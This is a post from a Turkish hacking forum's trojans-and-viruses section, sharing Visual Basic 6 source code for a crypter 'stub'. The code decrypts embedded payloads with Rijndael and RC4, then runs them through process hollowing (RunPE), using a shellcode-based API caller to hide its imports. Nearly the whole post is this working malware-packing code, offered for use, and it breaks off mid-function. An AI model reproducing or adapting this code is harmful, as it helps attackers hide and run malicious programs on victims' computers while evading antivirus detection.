Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Trojan ve Virüsler

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.



-ORJ Stub Code VB6

Trojan ve Virüsler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 31-10-2018 21:30   #1
  • Binbaşı
  • Üye Bilgileri
Üyelik tarihi
08/2016
Nereden
Zonguldak
Mesajlar
Konular

Teşekkür (Etti): 50
Teşekkür (Aldı): 167


Arrow -ORJ Stub Code VB6



Kod:
Modul1
Private oTest As CRpolat

Private Const CONTEXT_FULL              As Long = &H10007
Private Const MAX_PATH                  As Integer = 260
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE               As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40

Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(1 To 80) As Byte
    Cr0NpxState As Long
End Type

Private Type CONTEXT
    ContextFlags As Long

    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long

    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
    e_magic As Integer
    e_cblp As Integer
    e_cp As Integer
    e_crlc As Integer
    e_cparhdr As Integer
    e_minalloc As Integer
    e_maxalloc As Integer
    e_ss As Integer
    e_sp As Integer
    e_csum As Integer
    e_ip As Integer
    e_cs As Integer
    e_lfarlc As Integer
    e_ovno As Integer
    e_res(0 To 3) As Integer
    e_oemid As Integer
    e_oeminfo As Integer
    e_res2(0 To 9) As Integer
    e_lfanew As Long
End Type

Private Type IMAGE_SECTION_HEADER
    SecName As String * 8
    VirtualSize As Long
    VirtualAddress  As Long
    SizeOfRawData As Long
    PointerToRawData As Long
    PointerToRe********s As Long
    PointerToLinenumbers As Long
    NumberOfRe********s As Integer
    NumberOfLinenumbers As Integer
    characteristics  As Long
End Type

Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type

Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function lclose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApi(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
    Dim lPtr                As Long
    Dim bvASM(&HEC00& - 1)  As Byte
    Dim i                   As Long
    Dim lMod                As Long
    
    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    If lMod = 0 Then Exit Function
    
    lPtr = VarPtr(bvASM(0))
    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
    For i = UBound(Params) To 0 Step -1
        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
        RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4:     lPtr = lPtr + 4
    Next
    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
    CallApi = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    
End Function

Sub InjectExe(ByVal sHost As String, ByRef bvBuff() As Byte)
    Dim i       As Long
    Dim Pidh    As IMAGE_DOS_HEADER
    Dim Pinh    As IMAGE_NT_HEADERS
    Dim Pish    As IMAGE_SECTION_HEADER
    Dim Si      As STARTUPINFO
    Dim Pi      As PROCESS_INFORMATION
    Dim Ctx     As CONTEXT

    Si.cb = Len(Si)

    CallApi "kernel32", "RtlMoveMemory", VarPtr(Pidh), VarPtr(bvBuff(0)), 64
    CallApi "kernel32", "RtlMoveMemory", VarPtr(Pinh), VarPtr(bvBuff(Pidh.e_lfanew)), 248
    CallApi "kernel32", "CreateProcessW", 0, StrPtr(sHost), 0, 0, 0, CREATE_SUSPENDED, 0, 0, VarPtr(Si), VarPtr(Pi)
    CallApi "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
    CallApi "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase, VarPtr(bvBuff(0)), Pinh.OptionalHeader.SizeOfHeaders, 0

    For i = 0 To Pinh.FileHeader.NumberOfSections - 1
        RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
        CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, VarPtr(bvBuff(Pish.PointerToRawData)), Pish.SizeOfRawData, 0
    Next i

    Ctx.ContextFlags = CONTEXT_FULL
    CallApi "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
    CallApi "kernel32", "WriteProcessMemory", Pi.hProcess, Ctx.Ebx + 8, VarPtr(Pinh.OptionalHeader.ImageBase), 4, 0
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    CallApi "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
    CallApi "kernel32", "ResumeThread", Pi.hThread
End Sub

Public Function ThisExe() As String
    Dim lRet        As Long
    Dim bvBuff(255) As Byte
    lRet = CallApi("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
    ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function

Sub Main()
On Error Resume Next
InjectExe ThisExe, StrConv(strDecrypt(StrConv(LoadResData("FILE", "INFO"), vbUnicode), StrConv(LoadResData("SETTINGS", "INFO"), vbUnicode)), vbFromUnicode)
InjectExe ThisExe, StrConv(strDecrypt(StrConv(LoadResData("BFILE", "INFO"), vbUnicode), StrConv(LoadResData("SETTINGS", "INFO"), vbUnicode)), vbFromUnicode)
End Sub

Public Function strDecrypt(ByVal strMsg As String, ByVal pKey As String) As String
Dim BYTEARRAY() As Byte, byteKey() As Byte, CryptText() As Byte
On Local Error Resume Next
Set oTest = New CRijndael
BYTEARRAY() = StrConv(strMsg, vbFromUnicode)
byteKey() = StrConv(pKey, vbFromUnicode)
CryptText() = oTest.DecryptData(BYTEARRAY(), byteKey())
Set oTest = Nothing
strDecrypt = StrConv(CryptText(), vbUnicode)
End Function
Kod:
Modul2

Option Explicit
Public i As Integer
Public j As Integer
Public k As Integer
Public a As Byte
Public B As Byte
Dim M As Integer
Public L As Long
Public RC4KEY(255) As Byte
Public ADDTABLE(255, 255) As Byte
Dim STATE(0 To 255) As Byte

Public Sub FILL_LINEAR()
    Dim bCONST(0 To 255) As Byte
    For M = 0 To 255
        bCONST(M) = M
        STATE(M) = bCONST(M)
    Next M
End Sub

Public Sub RC4(BYTEARRAY() As Byte, Optional PASSWORD As String)
  If PASSWORD <> "" Then PREPARE_KEY PASSWORD
  For L = 0 To UBound(BYTEARRAY)
    i = ADDTABLE(i, 1)
    j = ADDTABLE(j, STATE(i))
    a = STATE(i): STATE(i) = STATE(j): STATE(j) = a
    B = STATE(ADDTABLE(STATE(i), STATE(j)))
    BYTEARRAY(L) = BYTEARRAY(L) Xor B
  Next L
End Sub

Public Sub PREPARE_KEY(sKEY As String)
  INITIALIZE_ADDTABLE
  FILL_LINEAR
  k = Len(sKEY)
  For i = 0 To k - 1
    B = Asc(Mid$(sKEY, i + 1, 1))
    For j = i To 255 Step k
      RC4KEY(j) = B
    Next j
  Next i
  j = 0
  For i = 0 To 255
    k = ADDTABLE(STATE(i), RC4KEY(i))
    j = ADDTABLE(j, k)
    B = STATE(i): STATE(i) = STATE(j): STATE(j) = B
  Next i
  i = 0
  j = 0
End Sub

Public Sub INITIALIZE_ADDTABLE()
  Static BeenHereDoneThat As Boolean
  If BeenHereDoneThat Then Exit Sub
  For j = 0 To 255
    For i = 0 To 255
      ADDTABLE(i, j) = CByte((i + j) And 255)
    Next i
  Next j
  BeenHereDoneThat = True
End Sub
Public Function STRING_TO_BYTES(sString As String) As Byte()
  STRING_TO_BYTES = StrConv(sString, vbFromUnicode)
End Function
Public Function BYTES_TO_STRING(bBytes() As Byte) As String
  BYTES_TO_STRING = bBytes
  BYTES_TO_STRING = StrConv(BYTES_TO_STRING, vbUnicode)
End Function
Public Function RC4_String(InputStr As String, PasswordStr As String) As String
Dim tmpByte() As Byte
tmpByte = STRING_TO_BYTES(InputStr)
RC4 tmpByte, PasswordStr
RC4_String = BYTES_TO_STRING(tmpByte)
End Function
Public Function SimpleHexDecrypt(lpszString As String, lpPassword As String) As String
Dim b1() As Byte, i1 As Long, s1 As String
ReDim Preserve b1(0 To (Len(lpszString) / 2) - 1) As Byte
For i1 = 1 To Len(lpszString) / 2
    b1(i1 - 1) = CLng("&H" & Mid(lpszString, 1 + (i1 - 1) * 2, 2))
Next
RC4 b1, lpPassword
SimpleHexDecrypt = BYTES_TO_STRING(b1)
End Function
Kod:
class mod
'   Credits :     Emre Polat
Option Explicit
Private m_lOnBits(30)    As Long
Private m_l2Power(30)    As Long
Private m_bytOnBits(7)   As Byte
Private m_byt2Power(7)   As Byte
Private m_InCo(3)        As Byte
Private m_fbsub(255)     As Byte
Private m_rbsub(255)     As Byte
Private m_ptab(255)      As Byte
Private m_ltab(255)      As Byte
Private m_ftable(255)    As Long
Private m_rtable(255)    As Long
Private m_rco(29)        As Long
Private m_Nk             As Long
Private m_Nb             As Long
Private m_Nr             As Long
Private m_fi(23)         As Byte
Private m_ri(23)         As Byte
Private m_fkey(119)      As Long
Private m_rkey(119)      As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Any, ByVal Source As Any, ByVal Length As Long)
Private Sub Class_Initialize()
    m_InCo(0) = &HB:    m_InCo(1) = &HD
    m_InCo(2) = &H9:    m_InCo(3) = &HE
    m_bytOnBits(0) = 1          ' 00000001
    m_bytOnBits(1) = 3          ' 00000011
    m_bytOnBits(2) = 7          ' 00000111
    m_bytOnBits(3) = 15         ' 00001111
    m_bytOnBits(4) = 31         ' 00011111
    m_bytOnBits(5) = 63         ' 00111111
    m_bytOnBits(6) = 127        ' 01111111
    m_bytOnBits(7) = 255        ' 11111111
    m_byt2Power(0) = 1          ' 00000001
    m_byt2Power(1) = 2          ' 00000010
    m_byt2Power(2) = 4          ' 00000100
    m_byt2Power(3) = 8          ' 00001000
    m_byt2Power(4) = 16         ' 00010000
    m_byt2Power(5) = 32         ' 00100000
    m_byt2Power(6) = 64         ' 01000000
    m_byt2Power(7) = 128        ' 10000000
    m_lOnBits(0) = 1            ' 00000000000000000000000000000001
    m_lOnBits(1) = 3            ' 00000000000000000000000000000011
    m_lOnBits(2) = 7            ' 00000000000000000000000000000111
    m_lOnBits(3) = 15           ' 00000000000000000000000000001111
    m_lOnBits(4) = 31           ' 00000000000000000000000000011111
    m_lOnBits(5) = 63           ' 00000000000000000000000000111111
    m_lOnBits(6) = 127          ' 00000000000000000000000001111111
    m_lOnBits(7) = 255          ' 00000000000000000000000011111111
    m_lOnBits(8) = 511          ' 00000000000000000000000111111111
    m_lOnBits(9) = 1023         ' 00000000000000000000001111111111
    m_lOnBits(10) = 2047        ' 00000000000000000000011111111111
    m_lOnBits(11) = 4095        ' 00000000000000000000111111111111
    m_lOnBits(12) = 8191        ' 00000000000000000001111111111111
    m_lOnBits(13) = 16383       ' 00000000000000000011111111111111
    m_lOnBits(14) = 32767       ' 00000000000000000111111111111111
    m_lOnBits(15) = 65535       ' 00000000000000001111111111111111
    m_lOnBits(16) = 131071      ' 00000000000000011111111111111111
    m_lOnBits(17) = 262143      ' 00000000000000111111111111111111
    m_lOnBits(18) = 524287      ' 00000000000001111111111111111111
    m_lOnBits(19) = 1048575     ' 00000000000011111111111111111111
    m_lOnBits(20) = 2097151     ' 00000000000111111111111111111111
    m_lOnBits(21) = 4194303     ' 00000000001111111111111111111111
    m_lOnBits(22) = 8388607     ' 00000000011111111111111111111111
    m_lOnBits(23) = 16777215    ' 00000000111111111111111111111111
    m_lOnBits(24) = 33554431    ' 00000001111111111111111111111111
    m_lOnBits(25) = 67108863    ' 00000011111111111111111111111111
    m_lOnBits(26) = 134217727   ' 00000111111111111111111111111111
    m_lOnBits(27) = 268435455   ' 00001111111111111111111111111111
    m_lOnBits(28) = 536870911   ' 00011111111111111111111111111111
    m_lOnBits(29) = 1073741823  ' 00111111111111111111111111111111
    m_lOnBits(30) = 2147483647  ' 01111111111111111111111111111111
    m_l2Power(0) = 1            ' 00000000000000000000000000000001
    m_l2Power(1) = 2            ' 00000000000000000000000000000010
    m_l2Power(2) = 4            ' 00000000000000000000000000000100
    m_l2Power(3) = 8            ' 00000000000000000000000000001000
    m_l2Power(4) = 16           ' 00000000000000000000000000010000
    m_l2Power(5) = 32           ' 00000000000000000000000000100000
    m_l2Power(6) = 64           ' 00000000000000000000000001000000
    m_l2Power(7) = 128          ' 00000000000000000000000010000000
    m_l2Power(8) = 256          ' 00000000000000000000000100000000
    m_l2Power(9) = 512          ' 00000000000000000000001000000000
    m_l2Power(10) = 1024        ' 00000000000000000000010000000000
    m_l2Power(11) = 2048        ' 00000000000000000000100000000000
    m_l2Power(12) = 4096        ' 00000000000000000001000000000000
    m_l2Power(13) = 8192        ' 00000000000000000010000000000000
    m_l2Power(14) = 16384       ' 00000000000000000100000000000000
    m_l2Power(15) = 32768       ' 00000000000000001000000000000000
    m_l2Power(16) = 65536       ' 00000000000000010000000000000000
    m_l2Power(17) = 131072      ' 00000000000000100000000000000000
    m_l2Power(18) = 262144      ' 00000000000001000000000000000000
    m_l2Power(19) = 524288      ' 00000000000010000000000000000000
    m_l2Power(20) = 1048576     ' 00000000000100000000000000000000
    m_l2Power(21) = 2097152     ' 00000000001000000000000000000000
    m_l2Power(22) = 4194304     ' 00000000010000000000000000000000
    m_l2Power(23) = 8388608     ' 00000000100000000000000000000000
    m_l2Power(24) = 16777216    ' 00000001000000000000000000000000
    m_l2Power(25) = 33554432    ' 00000010000000000000000000000000
    m_l2Power(26) = 67108864    ' 00000100000000000000000000000000
    m_l2Power(27) = 134217728   ' 00001000000000000000000000000000
    m_l2Power(28) = 268435456   ' 00010000000000000000000000000000
    m_l2Power(29) = 536870912   ' 00100000000000000000000000000000
    m_l2Power(30) = 1073741824  ' 01000000000000000000000000000000
End Sub
Private Function LShift(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
    If iShiftBits = 0 Then
        LShift = lValue:        Exit Function
    ElseIf iShiftBits = 31 Then
        LShift = IIf(lValue And 1, &H80000000, 0)
        Exit Function
    ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
        Err.Raise 6
    End If
    If (lValue And m_l2Power(31 - iShiftBits)) Then
        LShift = ((lValue And m_lOnBits(31 - (iShiftBits + 1))) * m_l2Power(iShiftBits)) Or &H80000000
    Else
        LShift = ((lValue And m_lOnBits(31 - iShiftBits)) * m_l2Power(iShiftBits))
    End If
End Function
Private Function RShift(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
    If iShiftBits = 0 Then
        RShift = lValue:        Exit Function
    ElseIf iShiftBits = 31 Then
        RShift = IIf(lValue And &H80000000, 1, 0)
        Exit Function
    ElseIf iShiftBits < 0 Or iShiftBits > 31 Then
        Err.Raise 6
    End If
    RShift = (lValue And &H7FFFFFFE) \ m_l2Power(iShiftBits)
    If (lValue And &H80000000) Then RShift = (RShift Or (&H40000000 \ m_l2Power(iShiftBits - 1)))
End Function
Private Function LShiftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
    If bytShiftBits = 0 Then
        LShiftByte = bytValue:        Exit Function
    ElseIf bytShiftBits = 7 Then
        LShiftByte = IIf(bytValue And 1, &H80, 0)
        Exit Function
    ElseIf bytShiftBits < 0 Or bytShiftBits > 7 Then
        Err.Raise 6
    End If
    LShiftByte = ((bytValue And m_bytOnBits(7 - bytShiftBits)) * m_byt2Power(bytShiftBits))
End Function
Private Function RShiftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
    If bytShiftBits = 0 Then
        RShiftByte = bytValue:        Exit Function
    ElseIf bytShiftBits = 7 Then
        RShiftByte = IIf(bytValue And &H80, 1, 0)
        Exit Function
    ElseIf bytShiftBits < 0 Or bytShiftBits > 7 Then
        Err.Raise 6
    End If
    RShiftByte = bytValue \ m_byt2Power(bytShiftBits)
End Function
Private Function RotateLeft(ByVal lValue As Long, ByVal iShiftBits As Integer) As Long
    RotateLeft = LShift(lValue, iShiftBits) Or RShift(lValue, (32 - iShiftBits))
End Function
Private Function RotateLeftByte(ByVal bytValue As Byte, ByVal bytShiftBits As Byte) As Byte
    RotateLeftByte = LShiftByte(bytValue, bytShiftBits) Or RShiftByte(bytValue, (8 - bytShiftBits))
End Function
Private Function Pack(B() As Byte) As Long
Dim lCount As Long, lTemp  As Long
    For lCount = 0 To 3
        lTemp = B(lCount): Pack = Pack Or LShift(lTemp, (lCount * 8))
    Next lCount
End Function
Private Function PackFrom(B() As Byte, ByVal k As Long) As Long
Dim lCount As Long, lTemp  As Long
    For lCount = 0 To 3
        lTemp = B(lCount + k): PackFrom = PackFrom Or LShift(lTemp, (lCount * 8))
    Next lCount
End Function
Private Sub Unpack(ByVal a As Long, B() As Byte)
    B(0) = a And m_lOnBits(7)
    B(1) = RShift(a, 8) And m_lOnBits(7)
    B(2) = RShift(a, 16) And m_lOnBits(7)
    B(3) = RShift(a, 24) And m_lOnBits(7)
End Sub
Private Sub UnpackFrom(ByVal a As Long, B() As Byte, ByVal k As Long)
    B(0 + k) = a And m_lOnBits(7)
    B(1 + k) = RShift(a, 8) And m_lOnBits(7)
    B(2 + k) = RShift(a, 16) And m_lOnBits(7)
    B(3 + k) = RShift(a, 24) And m_lOnBits(7)
End Sub
Private Function Xtime(ByVal a As Byte) As Byte
Dim B As Byte:    B = IIf(a And &H80, &H1B, 0)
    a = LShiftByte(a, 1):   a = a Xor B:   Xtime = a
End Function
Private Function Bmul(ByVal x As Byte, y As Byte) As Byte
    If x <> 0 And y <> 0 Then
        Bmul = m_ptab((CLng(m_ltab(x)) + CLng(m_ltab(y))) Mod 255)
    Else
        Bmul = 0
    End If
End Function
Private Function SubByte(ByVal a As Long) As Long
Dim B(3) As Byte
    Unpack a, B
    B(0) = m_fbsub(B(0)):    B(1) = m_fbsub(B(1))
    B(2) = m_fbsub(B(2)):    B(3) = m_fbsub(B(3))
    SubByte = Pack(B)
End Function
Private Function Product(ByVal x As Long, ByVal y As Long) As Long
Dim xb(3) As Byte, yb(3) As Byte
    Unpack x, xb:    Unpack y, yb
    Product = Bmul(xb(0), yb(0)) Xor Bmul(xb(1), yb(1)) Xor Bmul(xb(2), yb(2)) Xor Bmul(xb(3), yb(3))
End Function
Private Function InvMixCol(ByVal x As Long) As Long
Dim y       As Long, M       As Long, B(3)    As Byte
    M = Pack(m_InCo)
    B(3) = Product(M, x):    M = RotateLeft(M, 24)
    B(2) = Product(M, x):    M = RotateLeft(M, 24)
    B(1) = Product(M, x):    M = RotateLeft(M, 24)
    B(0) = Product(M, x):    y = Pack(B)
    InvMixCol = y
End Function
Private Function ByteSub(ByVal x As Byte) As Byte
Dim y As Byte
    y = m_ptab(255 - m_ltab(x)):    x = y
    x = RotateLeftByte(x, 1):       y = y Xor x
    x = RotateLeftByte(x, 1):       y = y Xor x
    x = RotateLeftByte(x, 1):       y = y Xor x
    x = RotateLeftByte(x, 1):       y = y Xor x
    y = y Xor &H63:              ByteSub = y
End Function
Private Sub gentables()
Dim i    As Long, y As Byte
Dim B(3) As Byte, ib As Byte
    m_ltab(0) = 0:    m_ptab(0) = 1
    m_ltab(1) = 0:    m_ptab(1) = 3
    m_ltab(3) = 1
    For i = 2 To 255
        m_ptab(i) = m_ptab(i - 1) Xor Xtime(m_ptab(i - 1))
        m_ltab(m_ptab(i)) = i
    Next i
    m_fbsub(0) = &H63:    m_rbsub(&H63) = 0
    For i = 1 To 255
        ib = i:        y = ByteSub(ib)
        m_fbsub(i) = y:        m_rbsub(y) = i
    Next i
    y = 1
    For i = 0 To 29
        m_rco(i) = y:        y = Xtime(y)
    Next i
    For i = 0 To 255
        y = m_fbsub(i):        B(3) = y Xor Xtime(y)
        B(2) = y:               B(1) = y
        B(0) = Xtime(y):        m_ftable(i) = Pack(B)
        y = m_rbsub(i):        B(3) = Bmul(m_InCo(0), y)
        B(2) = Bmul(m_InCo(1), y): B(1) = Bmul(m_InCo(2), y)
        B(0) = Bmul(m_InCo(3), y): m_rtable(i) = Pack(B)
    Next i
End Sub
Private Sub gkey(ByVal nb As Long, ByVal nk As Long, Key() As Byte)
Dim i            As Long, j As Long, k As Long, M As Long
Dim N            As Long, C1 As Long, C2 As Long, C3 As Long
Dim CipherKey(7) As Long
    m_Nb = nb:    m_Nk = nk
    If m_Nb >= m_Nk Then
        m_Nr = 6 + m_Nb
    Else
        m_Nr = 6 + m_Nk
    End If
    C1 = 1
    If m_Nb < 8 Then
        C2 = 2:        C3 = 3
    Else
        C2 = 3:        C3 = 4
    End If
    For j = 0 To nb - 1
        M = j * 3
        m_fi(M) = (j + C1) Mod nb
        m_fi(M + 1) = (j + C2) Mod nb
        m_fi(M + 2) = (j + C3) Mod nb
        m_ri(M) = (nb + j - C1) Mod nb
        m_ri(M + 1) = (nb + j - C2) Mod nb
        m_ri(M + 2) = (nb + j - C3) Mod nb
    Next j
    N = m_Nb * (m_Nr + 1)
    For i = 0 To m_Nk - 1
        j = i * 4:        CipherKey(i) = PackFrom(Key, j)
    Next i
    For i = 0 To m_Nk - 1
        m_fkey(i) = CipherKey(i)
    Next i
    j = m_Nk:    k = 0
    Do While j < N
        m_fkey(j) = m_fkey(j - m_Nk) Xor SubByte(RotateLeft(m_fkey(j - 1), 24)) Xor m_rco(k)
        If m_Nk <= 6 Then
            i = 1
            Do While i < m_Nk And (i + j) < N
                m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
            Loop
        Else
            i = 1
            Do While i < 4 And (i + j) < N
                m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
            Loop
            If j + 4 < N Then
                m_fkey(j + 4) = m_fkey(j + 4 - m_Nk) Xor SubByte(m_fkey(j + 3))
            End If
            i = 5
            Do While i < m_Nk And (i + j) < N
                m_fkey(i + j) = m_fkey(i + j - m_Nk) Xor m_fkey(i + j - 1): i = i + 1
            Loop
        End If
        j = j + m_Nk:        k = k + 1
    Loop
    For j = 0 To m_Nb - 1
        m_rkey(j + N - nb) = m_fkey(j)
    Next j
    i = m_Nb
    Do While i < N - m_Nb
        k = N - m_Nb - i
        For j = 0 To m_Nb - 1
            m_rkey(k + j) = InvMixCol(m_fkey(i + j))
        Next j
        i = i + m_Nb
    Loop
    j = N - m_Nb
    Do While j < N
        m_rkey(j - N + m_Nb) = m_fkey(j):        j = j + 1
    Loop
End Sub
Private Sub Encrypt(Buff() As Byte)
Dim i    As Long, j As Long, k As Long, M As Long
Dim a(7) As Long, B(7) As Long, x() As Long
Dim y()  As Long, t() As Long
    For i = 0 To m_Nb - 1
        j = i * 4: a(i) = PackFrom(Buff, j): a(i) = a(i) Xor m_fkey(i)
    Next i
    k = m_Nb:    x = a:    y = B
    For i = 1 To m_Nr - 1
        For j = 0 To m_Nb - 1
            M = j * 3
            y(j) = m_fkey(k) Xor m_ftable(x(j) And m_lOnBits(7)) Xor RotateLeft(m_ftable(RShift(x(m_fi(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_ftable(RShift(x(m_fi(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_ftable(RShift(x(m_fi(M + 2)), 24) And m_lOnBits(7)), 24)
            k = k + 1
        Next j
        t = x:        x = y:        y = t
    Next i
    For j = 0 To m_Nb - 1
        M = j * 3
        y(j) = m_fkey(k) Xor m_fbsub(x(j) And m_lOnBits(7)) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_fbsub(RShift(x(m_fi(M + 2)), 24) And m_lOnBits(7)), 24)
        k = k + 1
    Next j
    For i = 0 To m_Nb - 1
        j = i * 4: UnpackFrom y(i), Buff, j: x(i) = 0: y(i) = 0
    Next i
End Sub
Private Sub Decrypt(Buff() As Byte)
Dim i    As Long, j As Long, k As Long, M As Long
Dim a(7) As Long, B(7) As Long, x() As Long
Dim y()  As Long, t() As Long
    For i = 0 To m_Nb - 1
        j = i * 4: a(i) = PackFrom(Buff, j): a(i) = a(i) Xor m_rkey(i)
    Next i
    k = m_Nb:    x = a:    y = B
    For i = 1 To m_Nr - 1
        For j = 0 To m_Nb - 1
            M = j * 3
            y(j) = m_rkey(k) Xor m_rtable(x(j) And m_lOnBits(7)) Xor RotateLeft(m_rtable(RShift(x(m_ri(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_rtable(RShift(x(m_ri(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_rtable(RShift(x(m_ri(M + 2)), 24) And m_lOnBits(7)), 24)
            k = k + 1
        Next j
        t = x:        x = y:        y = t
    Next i
    For j = 0 To m_Nb - 1
        M = j * 3
        y(j) = m_rkey(k) Xor m_rbsub(x(j) And m_lOnBits(7)) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M)), 8) And m_lOnBits(7)), 8) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M + 1)), 16) And m_lOnBits(7)), 16) Xor RotateLeft(m_rbsub(RShift(x(m_ri(M + 2)), 24) And m_lOnBits(7)), 24)
        k = k + 1
    Next j
    For i = 0 To m_Nb - 1
        j = i * 4: UnpackFrom y(i), Buff, j: x(i) = 0: y(i) = 0
    Next i
End Sub
Private Function IsInitialized(ByRef vArray As Variant) As Boolean
    On Local Error Resume Next
    IsInitialized = IsNumeric(UBound(vArray))
End Function
Public Function EncryptData(bytMessage() As Byte, bytPassword() As Byte) As Byte()
Dim bytKey(31)     As Byte, bytIn() As Byte, bytOut() As Byte
Dim bytTemp(31)    As Byte, lCount As Long, lLength As Long
Dim lEncodedLength As Long, bytLen(3) As Byte, lPosition As Long
    If Not IsInitialized(bytMessage) Then Exit Function
    If Not IsInitialized(bytPassword) Then Exit Function
    For lCount = 0 To UBound(bytPassword)
